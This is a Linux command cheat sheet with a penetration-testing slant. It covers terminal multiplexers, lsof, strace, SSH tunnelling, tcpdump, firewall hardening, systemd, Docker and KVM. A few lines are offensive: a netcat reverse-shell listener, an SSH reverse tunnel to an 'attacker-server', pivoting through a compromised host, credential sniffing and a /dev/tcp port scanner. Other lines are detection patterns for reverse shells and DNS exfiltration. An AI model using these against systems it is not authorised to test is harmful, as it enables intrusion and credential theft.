screen -r session_name                               # Reattach to specific session
screen -d -r session_name                            # Detach elsewhere and reattach here

Ctrl+A then D    - Detach from session
Ctrl+A then C    - Create new window
Ctrl+A then N    - Next window
Ctrl+A then P    - Previous window
Ctrl+A then K    - Kill current window
Ctrl+A then [    - Enter copy mode
Ctrl+A then ]    - Paste
Ctrl+A then ?    - Help

tmux                                                 # Start new session
tmux new -s session_name                             # Named session
tmux ls                                              # List sessions
tmux attach -t session_name                          # Attach to session
tmux kill-session -t session_name                    # Kill session

Ctrl+B then D    - Detach
Ctrl+B then C    - New window
Ctrl+B then N    - Next window
Ctrl+B then P    - Previous window
Ctrl+B then %    - Split pane vertically
Ctrl+B then "    - Split pane horizontally
Ctrl+B then Arrow - Navigate panes
Ctrl+B then X    - Kill pane
Ctrl+B then [    - Enter copy mode

# Start persistent reverse shell listener
screen -S listener
nc -lvnp 4444

# Long-running scan
tmux new -s scan
nmap -sS -p- -T4 target_network

# Monitor logs continuously
screen -S logs
tail -f /var/log/auth.log

lsof                                                 # List all open files (huge output)
lsof /var/log/syslog                                 # What process has file open
lsof +D /var/www/                                    # All open files in directory
lsof-p 1234                                         # Files opened by PID
lsof -u username                                     # Files opened by user
lsof -c apache                                       # Files opened by processes matching name

lsof -i                                              # All network connections
lsof -i :80                                          # What's using port 80
lsof -i :22                                          # SSH connections
lsof -i TCP                                          # All TCP connections
lsof -i UDP                                          # All UDP connections
lsof -i TCP:LISTEN                                   # Listening TCP ports
lsof -i @192.168.1.5                                 # Connections to specific IP

# Find who's connected via SSH
lsof -i :22

# Check for suspicious network connections
lsof -i | grep ESTABLISHED | grep -v ":22\|:80\|:443"

# Find process with deleted binary (rootkit indicator)
lsof | grep deleted

# Check what user is doing
lsof -u suspicious_user

# Find all listening ports
lsof -i -P -n | grep LISTEN

fuser /var/log/syslog                                # PIDs using file
fuser -v /var/log/syslog                             # Verbose output with user
fuser -k /var/log/syslog                             # Kill processes using file
fuser 80/tcp                                         # What's using TCP port 80
fuser -n tcp 80                                      # Alternative syntax
fuser -k 4444/tcp                                    # Kill process using port

strace ls                                            # Trace ls command
strace -p 1234                                       # Attach to running process
strace -f -p 1234                                    # Follow forks
strace -e open ls                                    # Trace only open() calls
strace -e trace=network nc -l 4444                   # Trace network syscalls
strace -e trace=file cat /etc/passwd                 # Trace file operations
strace -c ls                                         # Summary statistics

strace -e trace=open,openat,read,write program       # File I/O
strace -e trace=socket,connect,bind,accept program   # Network
strace -e trace=process program                      # Process management
strace -e trace=signal program                       # Signal handling
strace -e trace=memory program                       # Memory operations

strace -o output.txt ls                              # Save to file
strace -s 200 cat file                               # String size (default 32)
strace -t ls                                         # Include timestamps
strace -T ls                                         # Show time spent in each syscall
strace -v ls                                         # Verbose (no abbreviations)

# Trace what file a program tries to open
strace -e open,openat ./suspicious_binary 2>&1 | grep -i passwd

# Monitor network connections
strace -e trace=network ./program

# Find configuration files used
strace -e open,openat service_name 2>&1 | grep "\.conf"

# Detect anti-debugging
strace ./malware 2>&1 | grep ptrace

# Watch file access attempts
strace -e trace=file -f -p $(pgrep process_name)

ip addr show                                         # All interfaces
ip addr add 192.168.1.100/24 dev eth0                # Add IP
ip link set eth0 up                                  # Enable interface
ip route show                                        # Routing table
ip route add default via 192.168.1.1                 # Add gateway
ip neigh show                                        # ARP table

ping -c 4 8.8.8.8                                    # Test connectivity
traceroute google.com                                # Route tracing
mtr google.com                                       # Combined ping/trace
nc -lvnp 4444                                        # Netcat listener
nc -zv host 1-1000                                   # Port scan

ss -tulpn                                            # All listening with PIDs
ss -t state established                              # Established TCP
ss sport = :22                                       # SSH connections
netstat -tulpn                                       # Legacy equivalent

dig google.com                                       # DNS lookup
dig @8.8.8.8 google.com                              # Specific DNS server
dig +trace google.com                                # Trace delegation
dig -x 8.8.8.8                                       # Reverse lookup
host google.com                                      # Simple lookup
nslookup google.com                                  # Interactive DNS

curl http://example.com                              # GET request
curl -I http://site.com                              # Headers only
curl -X POST -d "data" http://api.com                # POST request
curl -H "Auth: token" http://api.com                 # Custom header
wget http://site.com/file.zip                        # Download file
wget -r -k http://site.com                           # Mirror site

ssh user@192.168.1.5                                 # Default port 22
ssh -p 2222 user@host                                # Custom port
ssh -i ~/.ssh/id_rsa user@host                       # Specific key
ssh -v user@host                                     # Verbose (debugging)
ssh -vvv user@host                                   # Very verbose
ssh user@host 'uptime'                               # Execute single command
ssh user@host 'cat /etc/passwd' > local_file         # Redirect output locally

ssh-keygen -t rsa -b 4096 -C "comment"               # RSA 4096-bit
ssh-keygen -t ed25519 -C "comment"                   # Ed25519 (modern)
ssh-keygen -t ecdsa -b 521                           # ECDSA
ssh-keygen -p -f ~/.ssh/id_rsa                       # Change passphrase

ssh-copy-id user@host                                # Easy key deployment
ssh-copy-id -i ~/.ssh/id_custom.pub user@host        # Specific key
cat ~/.ssh/id_rsa.pub | ssh user@host 'cat >> ~/.ssh/authorized_keys'  # Manual method

eval $(ssh-agent)                                    # Start agent
ssh-add ~/.ssh/id_rsa                                # Add key to agent
ssh-add -l                                           # List loaded keys
ssh-add -D                                           # Remove all keys
ssh-add -t 3600 ~/.ssh/id_rsa                        # Add with 1-hour timeout

ssh -L 8080:localhost:80 user@server
# Access localhost:8080 on your machine → connects to port 80 on server

# Access internal web interface
ssh -L 8080:internal.server:80 user@jumpbox
# Browse to localhost:8080

# Database access through bastion
ssh -L 3306:database.internal:3306 user@bastion
# Connect MySQL client to localhost:3306

# Multiple forwards
ssh -L 8080:web:80 -L 3306:db:3306 user@jump

ssh -R 8080:localhost:80 user@server
# Port 8080 on server → connects back to port 80 on your machine

# Expose local web server to remote
ssh -R 9000:localhost:3000 user@public-server

# Reverse shell alternative
ssh -R 4444:localhost:22 user@attacker-server

ssh -D 9050 user@server
# Configure browser/apps to use SOCKS5 proxy localhost:9050
# All traffic routes through server

# Route through compromised box
ssh -D 9050 user@pivotbox
# Configure proxychains or browser

# Combine with ProxyChains
# Edit /etc/proxychains.conf
# socks5 127.0.0.1 9050
proxychains nmap target_network

ssh -J jumphost user@target                          # Single hop
ssh -J user1@hop1,user2@hop2 user3@target           # Multiple hops
ssh -J jumpbox -L 8080:internal:80 user@target      # Combine with tunneling

Host target
    HostName 192.168.1.100
    User pentester
    Port 2222
    IdentityFile ~/.ssh/target_key
    LocalForward 8080 localhost:80
    DynamicForward 9050

Host jumpbox
    HostName jump.example.com
    User admin
    IdentityFile ~/.ssh/jump_key

Host internal
    HostName 10.0.0.50
    User admin
    ProxyJump jumpbox
    LocalForward 3306 localhost:3306

Host *
    ServerAliveInterval 60
    ServerAliveCountMax 3
    Compression yes

ssh target                                           # Uses all saved settings
ssh internal                                         # Automatically jumps through jumpbox

StrictHostKeyChecking no     # Skip host key verification (testing only)
UserKnownHostsFile /dev/null # Don't save host keys (testing only)
ControlMaster auto           # Connection multiplexing
ControlPath ~/.ssh/cm-%r@%h:%p
ControlPersist 10m           # Keep connection 10 minutes

tcpdump -i eth0                                      # Capture on eth0
tcpdump -i any                                       # All interfaces
tcpdump -n                                           # Don't resolve hostnames
tcpdump -nn                                          # Don't resolve hosts or ports
tcpdump -c 100                                       # Capture 100 packets then stop
tcpdump -w capture.pcap                              # Write to file
tcpdump -r capture.pcap                              # Read from file

tcpdump host 192.168.1.5                             # Traffic to/from host
tcpdump src 192.168.1.5                              # Source host only
tcpdump dst 192.168.1.5                              # Destination host only
tcpdump port 80                                      # HTTP traffic
tcpdump portrange 1-1024                             # Port range
tcpdump tcp                                          # TCP only
tcpdump udp                                          # UDP only
tcpdump icmp                                         # ICMP only

# HTTP traffic to/from specific host
tcpdump 'tcp port 80 and (src host 192.168.1.5 or dst host 192.168.1.5)'

# TCP SYN packets (connection attempts)
tcpdump 'tcp[tcpflags] & (tcp-syn) != 0'

# Non-SSH traffic
tcpdump 'port not 22'

# Capture passwords in FTP
tcpdump -A 'tcp port 21'

# DNS queries
tcpdump -n 'udp port 53'

tcpdump -A                                           # Print packets in ASCII
tcpdump -X                                           # Print in hex and ASCII
tcpdump -v                                           # Verbose
tcpdump -vv                                          # More verbose
tcpdump -s 0                                         # Capture full packets (default 262144)
tcpdump -C 100 -w capture.pcap                       # Rotate file every 100MB

# Capture credentials
tcpdump -A 'tcp port 21 or tcp port 23 or tcp port 80'

# Monitor DNS exfiltration
tcpdump -n 'udp port 53' | grep -E '[a-f0-9]{32,}'

# Detect port scanning
tcpdump 'tcp[tcpflags] == tcp-syn'

# Capture all traffic from suspicious IP
tcpdump -w suspicious.pcap host 203.0.113.5

# Monitor for reverse shells
tcpdump 'tcp dst port 4444 or tcp dst port 31337'

# List rules
iptables -L -n -v                                    # List all
iptables -L INPUT -n -v                              # Specific chain
iptables -S                                          # Show as commands

# Default policies
iptables -P INPUT DROP                               # Drop incoming by default
iptables -P FORWARD DROP                             # Drop forwarding
iptables -P OUTPUT ACCEPT                            # Allow outgoing

# Allow loopback
iptables -A INPUT -i lo -j ACCEPT

# Allow established connections
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Allow specific services
iptables -A INPUT -p tcp --dport 22 -j ACCEPT       # SSH
iptables -A INPUT -p tcp --dport 80 -j ACCEPT       # HTTP
iptables -A INPUT -p tcp --dport 443 -j ACCEPT      # HTTPS

# Block specific IP
iptables -A INPUT -s 203.0.113.5 -j DROP

# Delete rule
iptables -D INPUT 3                                  # Delete rule 3
iptables -F                                          # Flush all rules

# Save/restore
iptables-save > /etc/iptables/rules.v4
iptables-restore < /etc/iptables/rules.v4

ufw status                                           # Check status
ufw enable                                           # Enable firewall
ufw disable                                          # Disable
ufw allow 22/tcp                                     # Allow SSH
ufw allow 80,443/tcp                                 # Allow HTTP/HTTPS
ufw allow from 192.168.1.0/24                        # Allow subnet
ufw deny 23                                          # Block telnet
ufw delete allow 80                                  # Remove rule
ufw reset                                            # Reset to defaults
ufw status numbered                                  # Show rule numbers
ufw delete 3                                         # Delete rule 3

apt update                                           # Update package lists
apt upgrade                                          # Upgrade packages
apt full-upgrade                                     # Upgrade with dependency resolution
apt install nmap                                     # Install package
apt remove nmap                                      # Remove package
apt purge nmap                                       # Remove with configs
apt autoremove                                       # Remove unused dependencies
apt search scanner                                   # Search packages
apt show nmap                                        # Package details
apt list --installed                                 # List installed
dpkg -i package.deb                                  # Install local .deb
dpkg -l                                              # List all packages
dpkg -L nmap                                         # Files from package

dnf update                                           # Update all
dnf install nmap                                     # Install
dnf remove nmap                                      # Remove
dnf search scanner                                   # Search
dnf info nmap                                        # Package info
dnf list installed                                   # List installed
rpm -ivh package.rpm                                 # Install RPM
rpm -qa                                              # List all packages
rpm -ql nmap                                         # Files from package

pacman -Syu                                          # Update all
pacman -S nmap                                       # Install
pacman -R nmap                                       # Remove
pacman -Ss scanner                                   # Search
pacman -Si nmap                                      # Package info
pacman -Ql nmap                                      # List files

# Download source
wget https://example.com/tool-1.0.tar.gz
tar -xzvf tool-1.0.tar.gz
cd tool-1.0/

# Configure build
./configure                                          # Check dependencies
./configure --prefix=/opt/tool                       # Custom install location
./configure --help                                   # Show all options

# Compile
make                                                 # Build
make -j4                                             # Parallel build (4 cores)

# Install
sudo make install                                    # Install to system

# Uninstall (if supported)
sudo make uninstall

systemctl status sshd                                # Service status
systemctl start sshd                                 # Start service
systemctl stop sshd                                  # Stop service
systemctl restart sshd                               # Restart service
systemctl reload sshd                                # Reload config
systemctl enable sshd                                # Start at boot
systemctl disable sshd                               # Don't start at boot
systemctl enable --now sshd                          # Enable and start
systemctl list-units                                 # All units
systemctl list-units --type=service                  # Services only
systemctl list-units --failed                        # Failed units
systemctl daemon-reload                              # Reload unit files
systemctl reboot                                     # Reboot system
systemctl poweroff                                   # Shutdown

journalctl                                           # All logs
journalctl -f                                        # Follow (tail)
journalctl -r                                        # Reverse order
journalctl -n 50                                     # Last 50 entries
journalctl -b                                        # Current boot
journalctl -b -1                                     # Previous boot
journalctl -u sshd                                   # Specific service
journalctl -u sshd -f                                # Follow SSH logs
journalctl --since "2024-11-28 10:00"                # Since time
journalctl --since "1 hour ago"                      # Relative time
journalctl -p err                                    # Errors only
journalctl -p warning                                # Warnings and above
journalctl -o json                                   # JSON output
journalctl --disk-usage                              # Disk usage
journalctl --vacuum-time=2weeks                      # Clean old logs

[Unit]
Description=My Application
After=network.target

[Service]
Type=simple
User=appuser
WorkingDirectory=/opt/myapp
ExecStart=/opt/myapp/start.sh
Restart=on-failure
RestartSec=10

[Install]
WantedBy=multi-user.target

systemctl daemon-reload
systemctl enable myapp
systemctl start myapp
systemctl status myapp

useradd -m username                                  # Create user with home
usermod -aG sudo username                            # Add to sudo group
userdel -r username                                  # Delete user and home
passwd username                                      # Set password
groupadd groupname                                   # Create group
groups username                                      # Show user's groups
id username                                          # User and group IDs
who                                                  # Logged in users
last                                                 # Login history

visudo

username ALL=(ALL:ALL) ALL                           # Full sudo access
username ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx  # Specific command no password
%admin ALL=(ALL) ALL                                 # Group access

#!/bin/bash
# Basic script

NAME="Linux"
echo "Hello $NAME"

read -p "Enter value: " INPUT
echo "You entered: $INPUT"

if [ -f "/etc/passwd" ]; then
    echo "File exists"
fi

for i in {1..5}; do
    echo "Count: $i"
done

function greet() {
    echo "Hello $1"
}

greet "World"

#!/bin/bash
set -euo pipefail  # Exit on error , undefined vars , pipe failures

TARGET=${1:-"192.168.1.0/24"}

# Array
PORTS=(20 21 22 23 25 80 443 3389)

# Loop through array
for port in "${PORTS[@]}"; do
    timeout 1 bash -c "echo >/dev/tcp/$TARGET/$port" 2>/dev/null && \
        echo "Port $port open" || echo "Port $port closed"
done

# Error handling
if ! ping -c 1 8.8.8.8 &>/dev/null; then
    echo "Network down"
    exit 1
fi

# Failed SSH attempts
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn

# Successful root logins
grep "Accepted.*root" /var/log/auth.log

# Recently modified files
find /etc -type f -mtime -1

# SUID files
find / -perm -4000 -type f 2>/dev/null

# Large files
find / -type f -size +100M 2>/dev/null

# World-writable files
find / -perm -002 -type f 2>/dev/null

PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
Port 2222
AllowUsers pentester admin
Protocol 2
X11Forwarding no
ClientAliveInterval 300
ClientAliveCountMax 2
MaxAuthTries 3
LogLevel VERBOSE

# iptables hardening
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --set
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 4 -j DROP
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -j LOG --log-prefix "IPTABLES-DROPPED: "

apt install aide
aide --init
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
aide --check
aide --update  # After legitimate changes

apt install fail2ban

[sshd]
enabled = true
port = 22
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600
findtime = 600

systemctl enable fail2ban
systemctl start fail2ban
fail2ban-client status
fail2ban-client status sshd

net.ipv4.ip_forward = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.tcp_syncookies = 1
net.ipv4.conf.all.log_martians = 1
net.ipv4.icmp_echo_ignore_all = 1
kernel.dmesg_restrict = 1
kernel.kptr_restrict = 2

sysctl -p

# Install nftables
sudo apt install nftables
sudo systemctl enable nftables
sudo systemctl start nftables

# View current ruleset
sudo nft list ruleset

# Flush all rules
sudo nft flush ruleset

# Create table for IPv4
sudo nft add table ip filter

# Create table for IPv6
sudo nft add table ip6 filter

# Create input chain with drop policy
sudo nft add chain ip filter input { type filter hook input priority 0 \; policy drop \; }

# Create output chain with accept policy
sudo nft add chain ip filter output { type filter hook output priority 0 \; policy accept \; }

# Create forward chain
sudo nft add chain ip filter forward { type filter hook forward priority 0 \; policy drop \; }

# Allow loopback
sudo nft add rule ip filter input iif lo accept

# Allow established/related connections
sudo nft add rule ip filter input ct state established,related accept

# Allow SSH
sudo nft add rule ip filter input tcp dport 22 accept

# Allow HTTP/HTTPS
sudo nft add rule ip filter input tcp dport { 80, 443 } accept

# Allow ping
sudo nft add rule ip filter input icmp type echo-request accept

# Drop invalid packets
sudo nft add rule ip filter input ct state invalid drop

# Block specific IP
sudo nft add rule ip filter input ip saddr 203.0.113.5 drop

# Rate limit SSH connections
sudo nft add rule ip filter input tcp dport 22 ct state new limit rate 3/minute accept

# Create NAT table
sudo nft add table ip nat

# Create postrouting chain for masquerading
sudo nft add chain ip nat postrouting { type nat hook postrouting priority 100 \; }

# Enable masquerading on external interface
sudo nft add rule ip nat postrouting oif eth0 masquerade

# Port forwarding (forward external 8080 to internal 192.168.1.10:80)
sudo nft add chain ip nat prerouting { type nat hook prerouting priority -100 \; }
sudo nft add rule ip nat prerouting iif eth0 tcp dport 8080 dnat to 192.168.1.10:80

# Save current ruleset
sudo nft list ruleset > /etc/nftables.conf

# Restore ruleset
sudo nft -f /etc/nftables.conf

# Make persistent
sudo systemctl enable nftables

# Named sets for IP lists
sudo nft add set ip filter blacklist { type ipv4_addr \; }
sudo nft add element ip filter blacklist { 192.0.2.1, 192.0.2.2 }
sudo nft add rule ip filter input ip saddr @blacklist drop

# Logging
sudo nft add rule ip filter input tcp dport 22 log prefix \"SSH attempt: \"

# Counters
sudo nft add rule ip filter input counter

# Show statistics
sudo nft list table ip filter

# Flush all rules
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t mangle -F

# Set default policies
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT ACCEPT

# Allow loopback
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A OUTPUT -o lo -j ACCEPT

# Allow established and related
sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Allow SSH with rate limiting
sudo iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --set
sudo iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 4 -j DROP
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# Allow HTTP/HTTPS
sudo iptables -A INPUT -p tcp -m multiport --dports 80,443 -j ACCEPT

# Allow DNS
sudo iptables -A INPUT -p udp --dport 53 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 53 -j ACCEPT

# Allow ping with rate limit
sudo iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/s -j ACCEPT

# Drop invalid packets
sudo iptables -A INPUT -m conntrack --ctstate INVALID -j DROP

# Log dropped packets
sudo iptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix "iptables-dropped: " --log-level 4
sudo iptables -A INPUT -j DROP

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf

# Masquerading (SNAT)
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Port forwarding (DNAT)
sudo iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.10:80
sudo iptables -t nat -A POSTROUTING -p tcp -d 192.168.1.10 --dport 80 -j SNAT --to-source 203.0.113.1

# Allow forwarded traffic
sudo iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A FORWARD -p tcp -d 192.168.1.10 --dport 80 -j ACCEPT

# Match multiple ports
sudo iptables -A INPUT -p tcp -m multiport --dports 80,443,8080 -j ACCEPT

# Time-based rules
sudo iptables -A INPUT -p tcp --dport 22 -m time --timestart 09:00 --timestop 17:00 --weekdays Mon,Tue,Wed,Thu,Fri -j ACCEPT

# MAC address filtering
sudo iptables -A INPUT -m mac --mac-source 00:11:22:33:44:55 -j ACCEPT

# String matching
sudo iptables -A FORWARD -p tcp --dport 80 -m string --string "malware" --algo bm -j DROP

# Connection limit
sudo iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 -j REJECT

# Geo-blocking with ipset
sudo ipset create china hash:net
sudo ipset add china 1.2.3.0/24
sudo iptables -A INPUT -m set --match-set china src -j DROP

# Debian/Ubuntu
sudo iptables-save > /etc/iptables/rules.v4
sudo ip6tables-save > /etc/iptables/rules.v6
sudo apt install iptables-persistent

# RHEL/CentOS
sudo service iptables save
sudo systemctl enable iptables

# Manual restore
sudo iptables-restore < /etc/iptables/rules.v4

# Set default policies
sudo ip6tables -P INPUT DROP
sudo ip6tables -P FORWARD DROP
sudo ip6tables -P OUTPUT ACCEPT

# Allow loopback
sudo ip6tables -A INPUT -i lo -j ACCEPT

# Allow established/related
sudo ip6tables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Allow ICMPv6 (critical for IPv6)
sudo ip6tables -A INPUT -p ipv6-icmp -j ACCEPT

# Allow SSH
sudo ip6tables -A INPUT -p tcp --dport 22 -j ACCEPT

# Allow HTTP/HTTPS
sudo ip6tables -A INPUT -p tcp -m multiport --dports 80,443 -j ACCEPT

# Block IPv6 if not needed
sudo ip6tables -P INPUT DROP
sudo ip6tables -P FORWARD DROP
sudo ip6tables -P OUTPUT DROP

# Install ebtables
sudo apt install ebtables

# List rules
sudo ebtables -L

# Block MAC address
sudo ebtables -A INPUT -s 00:11:22:33:44:55 -j DROP

# Allow only specific MACs
sudo ebtables -P INPUT DROP
sudo ebtables -A INPUT -s aa:bb:cc:dd:ee:ff -j ACCEPT

# Block ARP spoofing
sudo ebtables -A INPUT -p ARP --arp-opcode Request -j DROP

# VLAN filtering
sudo ebtables -A FORWARD -p 802_1Q --vlan-id 100 -j DROP

# Install arptables
sudo apt install arptables

# Block ARP requests from specific IP
sudo arptables -A INPUT -s 192.168.1.100 -j DROP

# Allow only specific IPs to send ARP
sudo arptables -P INPUT DROP
sudo arptables -A INPUT -s 192.168.1.1 -j ACCEPT

# Block all ARP replies
sudo arptables -A OUTPUT --opcode Reply -j DROP

# Install firewalld
sudo apt install firewalld
sudo systemctl start firewalld
sudo systemctl enable firewalld

# Check status
sudo firewall-cmd --state

# List zones
sudo firewall-cmd --get-zones
sudo firewall-cmd --get-default-zone
sudo firewall-cmd --get-active-zones

# Add services
sudo firewall-cmd --zone=public --add-service=http
sudo firewall-cmd --zone=public --add-service=https
sudo firewall-cmd --zone=public --add-service=ssh
sudo firewall-cmd --runtime-to-permanent  # Make permanent

# Add ports
sudo firewall-cmd --zone=public --add-port=8080/tcp
sudo firewall-cmd --zone=public --add-port=1000-2000/udp

# Block IP
sudo firewall-cmd --zone=public --add-rich-rule='rule family="ipv4" source address="203.0.113.5" reject'

# Port forwarding
sudo firewall-cmd --zone=public --add-forward-port=port=8080:proto=tcp:toport=80:toaddr=192.168.1.10

# Remove service
sudo firewall-cmd --zone=public --remove-service=http

# Reload
sudo firewall-cmd --reload

# Translate iptables rules to nftables
sudo iptables-restore-translate -f /etc/iptables/rules.v4 > /etc/nftables-migrated.nft
sudo ip6tables-restore-translate -f /etc/iptables/rules.v6 >> /etc/nftables-migrated.nft

# Review and apply
sudo nft -f /etc/nftables-migrated.nft

# Stop iptables
sudo systemctl stop iptables
sudo systemctl disable iptables

# Enable nftables
sudo systemctl enable nftables
sudo systemctl start nftables

# Layer 1: Drop invalid packets first
sudo nft add rule ip filter input ct state invalid drop

# Layer 2: Rate limiting
sudo nft add rule ip filter input tcp dport 22 limit rate 3/minute accept

# Layer 3: Logging before dropping
sudo nft add rule ip filter input log prefix \"Dropped: \"
sudo nft add rule ip filter input drop

# Anti-spoofing
sudo nft add rule ip filter input iif eth0 ip saddr 127.0.0.0/8 drop
sudo nft add rule ip filter input iif eth0 ip saddr 10.0.0.0/8 drop

# SYN flood protection
sudo nft add rule ip filter input tcp flags syn limit rate 10/second accept

# Port scan detection
sudo nft add rule ip filter input tcp flags \& (fin|syn) == (fin|syn) drop
sudo nft add rule ip filter input tcp flags \& (syn|rst) == (syn|rst) drop

# Block fragmented packets
sudo nft add rule ip filter input ip frag-off \& 0x1fff != 0 drop

# Ubuntu/Debian
sudo apt update
sudo apt install docker.io
sudo systemctl start docker
sudo systemctl enable docker
sudo usermod -aG docker $USER
# Log out and back in for group changes

# Verify installation
docker --version
docker run hello-world

# Pull images from Docker Hub
docker pull ubuntu
docker pull nginx
docker pull kali-linux/kali-rolling

# List images
docker images
docker image ls

# Run containers
docker run -it ubuntu bash                           # Interactive terminal
docker run -d nginx                                  # Detached mode
docker run -d -p 8080:80 nginx                       # Port mapping
docker run -d --name webserver nginx                 # Named container
docker run -it --rm ubuntu bash                      # Remove after exit

# List containers
docker ps                                            # Running containers
docker ps -a                                         # All containers

# Container management
docker stop container_id
docker start container_id
docker restart container_id
docker rm container_id
docker rm -f container_id                            # Force remove running

# Execute commands in running container
docker exec -it container_id bash
docker exec container_id ls /var/www/html

# View logs
docker logs container_id
docker logs -f container_id                          # Follow logs

# Copy files
docker cp file.txt container_id:/path/
docker cp container_id:/path/file.txt ./

# Build image from Dockerfile
docker build -t myapp:latest .
docker build -t myapp:v1.0 -f Dockerfile.custom .

# Tag and push images
docker tag myapp:latest user/myapp:latest
docker push user/myapp:latest

# Remove images
docker rmi image_id
docker image prune                                   # Remove unused images

# List networks
docker network ls

# Create network
docker network create mynetwork

# Run container on network
docker run -d --network mynetwork --name db mysql

# Inspect network
docker network inspect mynetwork

# Run as non-root user
docker run --user 1000:1000 ubuntu

# Read-only filesystem
docker run --read-only ubuntu

# Limit resources
docker run -m 512m --cpus=1 ubuntu                   # 512MB RAM , 1 CPU

# Drop capabilities
docker run --cap-drop ALL ubuntu

# Check virtualization support
egrep -c '(vmx|svm)' /proc/cpuinfo                   # Should be > 0
lscpu | grep Virtualization

# Install KVM packages (Ubuntu/Debian)
sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virt-manager
sudo apt install virtinst virt-viewer

# Start and enable libvirt
sudo systemctl start libvirtd
sudo systemctl enable libvirtd

# Add user to groups
sudo usermod -aG libvirt $USER
sudo usermod -aG kvm $USER
# Log out and back in

# Verify installation
sudo virsh list --all
sudo virt-host-validate

# List all VMs
virsh list --all

# Create VM from ISO
virt-install \
  --name ubuntu-vm \
  --ram 2048 \
  --vcpus 2 \
  --disk path=/var/lib/libvirt/images/ubuntu-vm.qcow2,size=20 \
  --os-variant ubuntu20.04 \
  --network bridge=virbr0 \
  --graphics vnc \
  --cdrom /path/to/ubuntu.iso

# Start/stop VMs
virsh start vm_name
virsh shutdown vm_name
virsh destroy vm_name                                # Force stop
virsh reboot vm_name

# Autostart VM on boot
virsh autostart vm_name
virsh autostart --disable vm_name

# Delete VM
virsh undefine vm_name
virsh undefine vm_name --remove-all-storage

# Connect to VM console
virsh console vm_name

# Clone VM
virt-clone --original vm_name --name vm_clone --auto-clone

# Snapshot management
virsh snapshot-create-as vm_name snapshot1
virsh snapshot-list vm_name
virsh snapshot-revert vm_name snapshot1
virsh snapshot-delete vm_name snapshot1